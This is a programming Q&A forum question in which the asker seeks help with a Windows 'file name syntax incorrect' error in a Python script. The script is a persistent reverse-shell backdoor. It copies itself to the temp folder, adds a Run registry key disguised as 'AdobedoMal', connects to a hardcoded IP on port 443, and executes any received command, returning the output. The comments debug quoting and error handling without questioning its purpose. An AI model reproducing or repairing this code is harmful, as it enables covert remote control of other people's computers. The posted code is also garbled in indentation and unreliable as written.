The syntax of the file name, directory name or volume label is incorrect

Asked

Viewed 3,830 times

0

I’m not able to solve this problem that says: "The syntax of the file name, directory name or volume label is incorrect". I imagined it was a poorly specified path, but I guess it’s not.

import socket,time,subprocess,tempfile,os
ip='192.168.0.102'
port=443
FILENAME='teste.exe'
TEMPDIR=tempfile.gettempdir()
def autorun():
  try:
   os.system("copy "+FILENAME+""+TEMPDIR)
   except:
    print("Erro na cópia")
        pass
    try:
        FNULL=open(os.devnull, 'w')
        subprocess.Popen("REG ADDHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\""/v AdobedoMal /d" +TEMPDIR+"\\"+FILENAME, stdout=FNULL,stderr=FNULL)
    except:
        print("Erro no registro")
        pass def connect(ip,port):
    try:
        s=socket.socket()
        s.connect((ip,port))
        s.send(b'Conecxao Recebida')
        return s
    except Exception as e:
        print('Erro de conexao:\n', e)
        return None def listen(s): try:
        while True:
            data=s.recv(1024)
            if data[:-1]== 'exit':
                s.close()
                exit(0)
            else:
                cmd(s,data)   except:
       error(s) def cmd(s,data):try:   proc=subprocess.Popen(data.decode(), shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    dados=proc.stdout.read()+proc.stderr.read()
s.send(dados)
  except:
      error(s)
def error(s):
 if s:
    s.close()
 main()
def main():
 while True:
    s_conectado=connect(ip,port)
    if s_conectado:
        listen(s_conectado)
    else:
        print("Conexao deu erro")
        time.sleep(1)
autorun()
main()
  • Run\\""/v AdobedoMal, these quotes, in particular, caused me strangeness. Are they correct? They seem to be loose in the middle of the string;

  • Yes, they are not incorrect.

  • Your Try/except are masking the true mistake. To help we need the full python error, with the full traceback showing the path to the error. Remove Try/except from your code and run it again, and then, when the error occurs, copy the full python-generated error message and paste into the question

  • Error persists even if Try is removed

  • @C.J so please after removing the try, error will appear full on screen, copy and paste into question

  • With the I said, the error that appears even with the removal of Try is "The syntax of the file name, the name of the directory or the volume label is incorrect", tbm do not understand but it is what appears. does not speak of any other mistake, only that !

Show 1 more comment
No answers

Browser other questions tagged

You are not signed in. Login or sign up in order to post.